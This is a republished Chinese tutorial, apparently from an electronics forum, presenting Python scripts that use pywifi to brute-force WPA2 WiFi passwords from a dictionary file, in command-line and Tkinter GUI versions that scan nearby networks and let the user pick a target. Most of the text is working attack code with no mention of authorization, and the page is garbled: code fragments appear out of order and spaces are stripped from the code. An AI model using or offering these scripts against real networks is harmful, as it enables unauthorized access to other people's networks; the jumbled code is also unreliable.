前言
本文將記錄學習下如何通過 Python 腳本實現(xiàn) WIFI 密碼的暴力破解。
無圖形界面
先來看看沒有圖形界面版的爆破腳本。
WIFI爆破
" ,self.onDBClick) self.vbar.grid(row=4,column=1,sticky=NS) #搜索wifi defscans_wifi_list(self):#掃描周圍wifi列表 #開始掃描 print("^_^開始掃描附近wifi...") self.iface.scan() time.sleep(15) #在若干秒后獲取掃描結果 scanres=self.iface.scan_results() #統(tǒng)計附近被發(fā)現(xiàn)的熱點數(shù)量 nums=len(scanres) print("數(shù)量:%s"%(nums)) #實際數(shù)據 self.show_scans_wifi_list(scanres) returnscanres #顯示wifi列表 defshow_scans_wifi_list(self,scans_res): forindex,wifi_infoinenumerate(scans_res): self.wifi_tree.insert("",'end',values=(index+1,wifi_info.ssid,wifi_info.bssid,wifi_info.signal)) #添加密碼文件目錄 defadd_mm_file(self): self.filename=tkinter.filedialog.askopenfilename() self.get_value.set(self.filename) #Treeview綁定事件 defonDBClick(self,event): self.sels=event.widget.selection() self.get_wifi_value.set(self.wifi_tree.item(self.sels,"values")[1]) #讀取密碼字典,進行匹配 defreadPassWord(self): self.getFilePath=self.get_value.get() self.get_wifissid=self.get_wifi_value.get() pwdfilehander=open(self.getFilePath,"r",errors="ignore") whileTrue: try: self.pwdStr=pwdfilehander.readline() ifnotself.pwdStr: break self.bool1=self.connect(self.pwdStr,self.get_wifissid) ifself.bool1: self.res="[*]密碼正確!wifi名:%s,匹配密碼:%s"%(self.get_wifissid,self.pwdStr) self.get_wifimm_value.set(self.pwdStr) tkinter.messagebox.showinfo('提示','破解成功!??!') print(self.res) break else: self.res="[*]密碼錯誤!wifi名:%s,匹配密碼:%s"%(self.get_wifissid,self.pwdStr) print(self.res) time.sleep(3) except: continue #對wifi和密碼進行匹配 defconnect(self,pwd_Str,wifi_ssid): #創(chuàng)建wifi鏈接文件 self.profile=pywifi.Profile() self.profile.ssid=wifi_ssid#wifi名稱 self.profile.auth=const.AUTH_ALG_OPEN#網卡的開放 self.profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法 self.profile.cipher=const.CIPHER_TYPE_CCMP#加密單元 self.profile.key=pwd_Str#密碼 self.iface.remove_all_network_profiles()#刪除所有的wifi文件 self.tmp_profile=self.iface.add_network_profile(self.profile)#設定新的鏈接文件 self.iface.connect(self.tmp_profile)#鏈接 time.sleep(5) ifself.iface.status()==const.IFACE_CONNECTED:#判斷是否連接上 isOK=True else: isOK=False self.iface.disconnect()#斷開 time.sleep(1) #檢查斷開狀態(tài) assertself.iface.status()in [const.IFACE_DISCONNECTED,const.IFACE_INACTIVE] returnisOK defgui_start(): init_window=Tk() ui=MY_GUI(init_window) print(ui) ui.set_init_window() init_window.mainloop() if__name__=="__main__": gui_start()
腳本運行效果如下:
?以上基于 Python 的 GUI 圖形界面開發(fā)庫 Tkinter,實際上 Python 的 GUI 編程可以借助 PyQt5 來自動生成 UI 代碼。
總結
本文學習了 Python 暴力破解 WIFI 密碼的方法、以及 Python GUI 圖形化編程的基礎使用。
所演示的代碼的不足在于均沒有使用多線程進行 WIFI 連接測試,實際上因為 WIFI 連接測試需要一定的耗時(3-5秒),故使用多線程將能減少暴力破解過程的等待時間。
importpywifi frompywifiimportconst importtime importdatetime #測試連接,返回鏈接結果 defwifiConnect(pwd): #抓取網卡接口 wifi=pywifi.PyWiFi() #獲取第一個無線網卡 ifaces=wifi.interfaces()[0] #斷開所有連接 ifaces.disconnect() time.sleep(1) wifistatus=ifaces.status() ifwifistatus==const.IFACE_DISCONNECTED: #創(chuàng)建WiFi連接文件 profile=pywifi.Profile() #要連接WiFi的名稱 profile.ssid="Tr0e" #網卡的開放狀態(tài) profile.auth=const.AUTH_ALG_OPEN #wifi加密算法,一般wifi加密算法為wps profile.akm.append(const.AKM_TYPE_WPA2PSK) #加密單元 profile.cipher=const.CIPHER_TYPE_CCMP #調用密碼 profile.key=pwd #刪除所有連接過的wifi文件 ifaces.remove_all_network_profiles() #設定新的連接文件 tep_profile=ifaces.add_network_profile(profile) ifaces.connect(tep_profile) #wifi連接時間 time.sleep(2) ififaces.status()==const.IFACE_CONNECTED: returnTrue else: returnFalse else: print("已有wifi連接") #讀取密碼本 defreadPassword(): success=False print("******************WIFI破解******************") #密碼本路徑 path="pwd.txt" #打開文件 file=open(path,"r") start=datetime.datetime.now() whileTrue: try: pwd=file.readline() #去除密碼的末尾換行符 pwd=pwd.strip(' ') bool=wifiConnect(pwd) ifbool: print("[*]密碼已破解:",pwd) print("[*]WiFi已自動連接!??!") success=True break else: #跳出當前循環(huán),進行下一次循環(huán) print("正在破解SSID為%s的WIFI密碼,當前校驗的密碼為:%s"%("Tr0e",pwd)) except: continue end=datetime.datetime.now() if(success): print("[*]本次破解WIFI密碼一共用了多長時間:{}".format(end-start)) else: print("[*]很遺憾未能幫你破解出當前指定WIFI的密碼,請更換密碼字典后重新嘗試!") exit(0) if__name__=="__main__": readPassword() 代碼運行效果: ?腳本優(yōu)化 以上腳本需內嵌 WIFI 名、爆破字典路徑,缺少靈活性。下面進行改造優(yōu)化:
importpywifi importtime frompywifiimportconst #WiFi掃描模塊 defwifi_scan(): #初始化wifi wifi=pywifi.PyWiFi() #使用第一個無線網卡 interface=wifi.interfaces()[0] #開始掃描 interface.scan() foriinrange(4): time.sleep(1) print(' 掃描可用WiFi中,請稍后。。。('+str(3-i),end=')') print(' 掃描完成! '+'-'*38) print(' {:4}{:6}{}'.format('編號','信號強度','wifi名')) #掃描結果,scan_results()返回一個集,存放的是每個wifi對象 bss=interface.scan_results() #存放wifi名的集合 wifi_name_set=set() forwinbss: #解決亂碼問題 wifi_name_and_signal=(100+w.signal,w.ssid.encode('raw_unicode_escape').decode('utf-8')) wifi_name_set.add(wifi_name_and_signal) #存入列表并按信號排序 wifi_name_list=list(wifi_name_set) wifi_name_list=sorted(wifi_name_list,key=lambdaa:a[0],reverse=True) num=0 #格式化輸出 whilenumprint(' {:<6d}{:<8d}{}'.format(num,wifi_name_list[num][0],wifi_name_list[num][1])) num+=1 print('-'*38) #返回wifi列表 returnwifi_name_list #WIFI破解模塊 defwifi_password_crack(wifi_name): #字典路徑 wifi_dic_path=input("請輸入本地用于WIFI暴力破解的密碼字典(txt格式,每個密碼占據1行)的路徑:") withopen(wifi_dic_path,'r')asf: #遍歷密碼 forpwdinf: #去除密碼的末尾換行符 pwd=pwd.strip(' ') #創(chuàng)建wifi對象 wifi=pywifi.PyWiFi() #創(chuàng)建網卡對象,為第一個wifi網卡 interface=wifi.interfaces()[0] #斷開所有wifi連接 interface.disconnect() #等待其斷開 whileinterface.status()==4: #當其處于連接狀態(tài)時,利用循環(huán)等待其斷開 pass #創(chuàng)建連接文件(對象) profile=pywifi.Profile() #wifi名稱 profile.ssid=wifi_name #需要認證 profile.auth=const.AUTH_ALG_OPEN #wifi默認加密算法 profile.akm.append(const.AKM_TYPE_WPA2PSK) profile.cipher=const.CIPHER_TYPE_CCMP #wifi密碼 profile.key=pwd #刪除所有wifi連接文件 interface.remove_all_network_profiles() #設置新的wifi連接文件 tmp_profile=interface.add_network_profile(profile) #開始嘗試連接 interface.connect(tmp_profile) start_time=time.time() whiletime.time()-start_time1.5: ????????????????#接口狀態(tài)為4代表連接成功(當嘗試時間大于1.5秒之后則為錯誤密碼,經測試測正確密碼一般都在1.5秒內連接,若要提高準確性可以設置為2s或以上,相應暴力破解速度就會變慢) ifinterface.status()==4: print(f' 連接成功!密碼為:{pwd}') exit(0) else: print(f' 正在利用密碼{pwd}嘗試破解。',end='') #主函數(shù) defmain(): #退出標致 exit_flag=0 #目標編號 target_num=-1 whilenotexit_flag: try: print('WiFi萬能鑰匙'.center(35,'-')) #調用掃描模塊,返回一個排序后的wifi列表 wifi_list=wifi_scan() #讓用戶選擇要破解的wifi編號,并對用戶輸入的編號進行判斷和異常處理 choose_exit_flag=0 whilenotchoose_exit_flag: try: target_num=int(input('請選擇你要嘗試破解的wifi:')) #如果要選擇的wifi編號在列表內,繼續(xù)二次判斷,否則重新輸入 iftarget_numinrange(len(wifi_list)): #二次確認 whilenotchoose_exit_flag: try: choose=str(input(f'你選擇要破解的WiFi名稱是:{wifi_list[target_num][1]},確定嗎?(Y/N)')) #對用戶輸入進行小寫處理,并判斷 ifchoose.lower()=='y': choose_exit_flag=1 elifchoose.lower()=='n': break #處理用戶其它字母輸入 else: print('只能輸入Y/N哦o(* ̄︶ ̄*)o') #處理用戶非字母輸入 exceptValueError: print('只能輸入Y/N哦o(* ̄︶ ̄*)o') #退出破解 ifchoose_exit_flag==1: break else: print('請重新輸入哦(*^▽^*)') exceptValueError: print('只能輸入數(shù)字哦o(* ̄︶ ̄*)o') #密碼破解,傳入用戶選擇的wifi名稱 wifi_password_crack(wifi_list[target_num][1]) print('-'*38) exit_flag=1 exceptExceptionase: print(e) raisee if__name__=='__main__': main() 腳本運行效果如下: ?上述代碼實現(xiàn)了依據信號強度枚舉當前附近的所有 WIFI 名稱,并且可供用戶自主選擇需要暴力破解的 WIFI,同時還可靈活指定暴力破解的字典,相對而言體驗感提升了不少。進一步也可以將上述腳本打包生成 exe 文件,雙擊運行效果如下: ?圖形化界面 下面基于 Python 的 GUI 圖形界面開發(fā)庫 Tkinter 優(yōu)化上述腳本,實現(xiàn)友好的可視化 WIFI 暴力破解界面工具。關于 Tkinter 庫的語法可參見:Python GUI編程(Tkinter)。 簡單版UI
fromtkinterimport* frompywifiimportconst importpywifi importtime #主要步驟: #1、獲取第一個無線網卡 #2、斷開所有的wifi #3、讀取密碼本 #4、設置睡眠時間 defwificonnect(str,wifiname): #窗口無線對象 wifi=pywifi.PyWiFi() #抓取第一個無線網卡 ifaces=wifi.interfaces()[0] #斷開所有的wifi ifaces.disconnect() time.sleep(1) ififaces.status()==const.IFACE_DISCONNECTED: #創(chuàng)建wifi連接文件 profile=pywifi.Profile() profile.ssid=wifiname #wifi的加密算法 profile.akm.append(const.AKM_TYPE_WPA2PSK) #wifi的密碼 profile.key=str #網卡的開發(fā) profile.auth=const.AUTH_ALG_OPEN #加密單元,這里需要寫點加密單元否則無法連接 profile.cipher=const.CIPHER_TYPE_CCMP #刪除所有的wifi文件 ifaces.remove_all_network_profiles() #設置新的連接文件 tep_profile=ifaces.add_network_profile(profile) #連接 ifaces.connect(tep_profile) time.sleep(3) ififaces.status()==const.IFACE_CONNECTED: returnTrue else: returnFalse defreadPwd(): #獲取wiif名稱 wifiname=entry.get().strip() path=r'./pwd.txt' file=open(path,'r') whileTrue: try: #讀取 mystr=file.readline().strip() #測試連接 bool=wificonnect(mystr,wifiname) ifbool: text.insert(END,'密碼正確'+mystr) text.see(END) text.update() file.close() break else: text.insert(END,'密碼錯誤'+mystr) text.see(END) text.update() except: continue #創(chuàng)建窗口 root=Tk() root.title('wifi破解') root.geometry('500x400') #標簽 label=Label(root,text='輸入要破解的WIFI名稱:') #定位 label.grid() #輸入控件 entry=Entry(root,font=('微軟雅黑',14)) entry.grid(row=0,column=1) #列表控件 text=Listbox(root,font=('微軟雅黑',14),width=40,height=10) text.grid(row=1,columnspan=2) #按鈕 button=Button(root,text='開始破解',width=20,height=2,command=readPwd) button.grid(row=2,columnspan=2) #顯示窗口 root.mainloop() 腳本運行效果: ?UI升級版 以上圖形界面未允許選擇密碼字典,下面進行優(yōu)化升級:
fromtkinterimport* fromtkinterimportttk importpywifi frompywifiimportconst importtime importtkinter.filedialog#在Gui中打開文件瀏覽 importtkinter.messagebox#打開tkiner的消息提醒框 classMY_GUI(): def__init__(self,init_window_name): self.init_window_name=init_window_name #密碼文件路徑 self.get_value=StringVar()#設置可變內容 #獲取破解wifi賬號 self.get_wifi_value=StringVar() #獲取wifi密碼 self.get_wifimm_value=StringVar() #抓取網卡接口 self.wifi=pywifi.PyWiFi() #抓取第一個無線網卡 self.iface=self.wifi.interfaces()[0] #測試鏈接斷開所有鏈接 self.iface.disconnect() time.sleep(1)#休眠1秒 #測試網卡是否屬于斷開狀態(tài) assertself.iface.status()in [const.IFACE_DISCONNECTED,const.IFACE_INACTIVE] def__str__(self): #自動會調用的函數(shù),返回自身的網卡 return'(WIFI:%s,%s)'%(self.wifi,self.iface.name()) #設置窗口 defset_init_window(self): self.init_window_name.title("WIFI破解工具") self.init_window_name.geometry('+500+200') labelframe=LabelFrame(width=400,height=200,text="配置")#框架,以下對象都是對于labelframe中添加的 labelframe.grid(column=0,row=0,padx=10,pady=10) self.search=Button(labelframe,text="搜索附近WiFi",command=self.scans_wifi_list).grid(column=0,row=0) self.pojie=Button(labelframe,text="開始破解",command=self.readPassWord).grid(column=1,row=0) self.label=Label(labelframe,text="目錄路徑:").grid(column=0,row=1) self.path=Entry(labelframe,width=12,textvariable=self.get_value).grid(column=1,row=1) self.file=Button(labelframe,text="添加密碼文件目錄",command=self.add_mm_file).grid(column=2,row=1) self.wifi_text=Label(labelframe,text="WiFi賬號:").grid(column=0,row=2) self.wifi_input=Entry(labelframe,width=12,textvariable=self.get_wifi_value).grid(column=1,row=2) self.wifi_mm_text=Label(labelframe,text="WiFi密碼:").grid(column=2,row=2) self.wifi_mm_input=Entry(labelframe,width=10,textvariable=self.get_wifimm_value).grid(column=3,row=2,sticky=W) self.wifi_labelframe=LabelFrame(text="wifi列表") self.wifi_labelframe.grid(column=0,row=3,columnspan=4,sticky=NSEW) #定義樹形結構與滾動條 self.wifi_tree=ttk.Treeview(self.wifi_labelframe,show="headings",columns=("a","b","c","d")) self.vbar=ttk.Scrollbar(self.wifi_labelframe,orient=VERTICAL,command=self.wifi_tree.yview) self.wifi_tree.configure(yscrollcommand=self.vbar.set) #表格的標題 self.wifi_tree.column("a",width=50,anchor="center") self.wifi_tree.column("b",width=100,anchor="center") self.wifi_tree.column("c",width=100,anchor="center") self.wifi_tree.column("d",width=100,anchor="center") self.wifi_tree.heading("a",text="WiFiID") self.wifi_tree.heading("b",text="SSID") self.wifi_tree.heading("c",text="BSSID") self.wifi_tree.heading("d",text="signal") self.wifi_tree.grid(row=4,column=0,sticky=NSEW) self.wifi_tree.bind("
審核編輯:湯梓紅
聲明:本文內容及配圖由入駐作者撰寫或者入駐合作網站授權轉載。文章觀點僅代表作者本人,不代表電子發(fā)燒友網立場。文章及其配圖僅供工程師學習之用,如有內容侵權或者其他違規(guī)問題,請聯(lián)系本站處理。
舉報投訴
-
WIFI
+關注
關注
81文章
5308瀏覽量
204672 -
python
+關注
關注
56文章
4807瀏覽量
85016 -
腳本
+關注
關注
1文章
391瀏覽量
14934
原文標題:用 Python 破解 WiFi 密碼,太刺激了!
文章出處:【微信號:magedu-Linux,微信公眾號:馬哥Linux運維】歡迎添加關注!文章轉載請注明出處。
發(fā)布評論請先 登錄
相關推薦
Labview 如何找回VI的密碼.請高手指教.
本帖最后由 wayne_2001 于 2015-3-7 20:00 編輯
我之前寫的vi,現(xiàn)在想看下程序,結果不記得密碼了,在本論壇中找到一個暴力破解器,太慢了,根本破解了.哪位高手能幫幫忙
發(fā)表于 02-28 09:52
labview密碼破解
求助,軟件是去年改過的不知道誰設置了密碼,都說不知道。暴力破解字典實在太大。速度太慢,故求幫助~~PS :網上說的MD5破解,試了下也沒成。大神們,求交流~~
發(fā)表于 01-19 23:37
labview如何寫暴力破解密碼 密碼4位數(shù) 由1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ 如何每次讀取一個數(shù)進行測試完成后進行下一個測試
labview如何寫暴力破解密碼 密碼4位數(shù) 由1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ 如何每次讀取一個數(shù)進行測試完成后進行下一個測試
發(fā)表于 02-17 09:46
何為暴力破解呢
ps:代碼復制黏貼即可,有什么問題下方留言,博主會及時回復 !工具:1:筆記本2:USB無線網卡(必備)3:kali系統(tǒng)4:靠譜字典暴力破解法:何為暴力破解呢,其實就是一個一個密碼試,直到正確的
發(fā)表于 07-15 09:46
神器真能破解WiFi密碼?
萬能WiFi密碼破解器,35元一個!近日,市民崔先生在街頭看到有人兜售一款U盤形狀的蹭網神器,小販稱此神器能自動搜索附近 WiFi并破解密碼
發(fā)表于 12-05 05:29
?1868次閱讀
如何破解WiFi密碼原理是怎么樣的
為了安全期間,曝露在身邊的WiFi信號都是經過加密的。為了得到這些wifi密碼,除了向主人詢問之外,那就是破解了。
字符串硬核暴力破解法講解
1 暴力破解法 在主串A中查找模式串B的出現(xiàn)位置,其中如果A的長度是n,B的長度是m,則n 》 m。當我們暴力匹配時,在主串A中匹配起始位置分別是 0、1、2….n-m 且長度為 m 的 n-m+1
會用kali破解wifi嗎?
準備好 [kali] 系統(tǒng),電腦可以鏈接無線 wifi!! 使用 Aircrack-ng 進行暴力破解,linux 上已經安裝此工具!
如何通過Python來找回wifi密碼
管理頁面,但是如果你連路由器密碼也忘了,那就非常尷尬。 還有一種方法是通過iCloud鑰匙串,但這個方法非常麻煩,需要通過備份獲取。 今天告訴大家一個最簡單的方法:通過
評論